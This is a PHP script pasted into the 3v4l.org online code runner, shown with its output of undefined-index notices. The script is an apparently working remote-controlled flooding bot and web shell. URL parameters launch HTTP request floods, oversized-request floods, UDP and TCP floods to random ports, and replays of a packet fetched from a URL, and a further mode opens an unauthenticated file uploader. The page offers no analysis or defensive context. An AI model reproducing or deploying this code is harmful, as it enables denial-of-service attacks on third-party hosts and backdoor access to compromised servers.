3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php if($_GET["mod"] == 'http') { if(! $_GET["sitebc"] == '') { $site= $_GET["sitebc"]; $sayi = $_GET["sayibc"]; $port = $_GET["port"]; if($_GET["port"] == ''){$port=80;} $yol = str_replace("b4201","&", $_GET["yolbc"]); $yol = str_replace("b4202","=", $yol); for( $i = 0; $i < $sayi; $i++ ) { $fp = fsockopen( $site, $port, $errno, $errstr, 30 ); if( $fp ) { $out = "GET /".$yol." HTTP/1.1\r\n"; $out .= "Host: ".$site."\r\n"; $out .= "Keep-Alive: 300\r\n"; $out .= "Connection: keep-alive\r\n\r\n"; fwrite( $fp, $out ); fclose( $fp ); } } } } if($_GET["mod"] == 'http2') { if(! $_GET["sitebc"] == '') { $site= $_GET["sitebc"]; $sayi = $_GET["sayibc"]; $port = $_GET["port"]; if($_GET["port"] == ''){$port=80;} $yol = str_replace("b4201","&", $_GET["yolbc"]); $yol = str_replace("b4202","=", $yol); for( $i = 0; $i < $sayi; $i++ ) { $fp = fsockopen( $site, $port, $errno, $errstr, 30 ); if( $fp ) { $out = "GET /".$yol." HTTP/1.1\r\n"; $out .= "Host: ".$site."\r\n"; $out .= "Keep-Alive: 300\r\n"; $out .= "Connection: keep-alive\r\n\r\n"; for($i=0;$i<60000;$i++) { $out .= 'X'; } $out .= "X\n"; fwrite( $fp, $out ); fclose( $fp ); } } } } if($_GET["mod"] == 'udp') { if(isset($_GET['ipbc'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; $host = $_GET['ipbc']; $port = $_GET['port']; if($port==''){ $rastgele='evet'; } for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } if($rastgele=='evet'){ $port = rand(1,65000); } $fp = fsockopen('udp://'.$host, $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } } } if($_GET["mod"] == 'tcp') { if(isset($_GET['ipbc'])&&is_numeric($_GET['time'])){ $pakits = 0; ignore_user_abort(TRUE); $exec_time = $_GET['time']; $time = time(); $max_time = $time+$exec_time; $host = $_GET['ipbc']; $port = $_GET['port']; if($port==''){ $rastgele='evet'; } for($i=0;$i<65000;$i++){ $out .= 'X'; } while(1){ $pakits++; if(time() > $max_time){ break; } if($rastgele=='evet'){ $port = rand(1,65000); } $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5); if($fp){ fwrite($fp, $out); fclose($fp); } } } } if($_GET["mod"] == 'ozelpaket') { if(! $_GET["sitebc"] == '') { $site= $_GET["sitebc"]; $sayi = $_GET["sayibc"]; $port = $_GET["port"]; if($_GET["port"] == ''){$port=80;} $yol = str_replace("b4201","&", $_GET["yolbc"]); $yol = str_replace("b4202","=", $yol); $kod=file_get_contents($_GET["paket"]); for( $i = 0; $i < $sayi; $i++ ) { $fp = fsockopen( $site, $port, $errno, $errstr, 30 ); if( $fp ) { $out = $kod; fwrite( $fp, $out ); fclose( $fp ); } } } } if($_GET["mod"] == 'up') { echo 'v4siker123'; echo '<form action="?mod=up&sifre=yok123" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; if( $_POST['_upl'] == "Upload" ) { if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>usta upload basarili</b><br><br>'; } }} echo '<!--BITTI-->'; ?>
Output for 5.3.0 - 7.1.0
Notice: Undefined index: mod in /in/ChFGu on line 3 Notice: Undefined index: mod in /in/ChFGu on line 32 Notice: Undefined index: mod in /in/ChFGu on line 68 Notice: Undefined index: mod in /in/ChFGu on line 105 Notice: Undefined index: mod in /in/ChFGu on line 144 Notice: Undefined index: mod in /in/ChFGu on line 170 <!--BITTI-->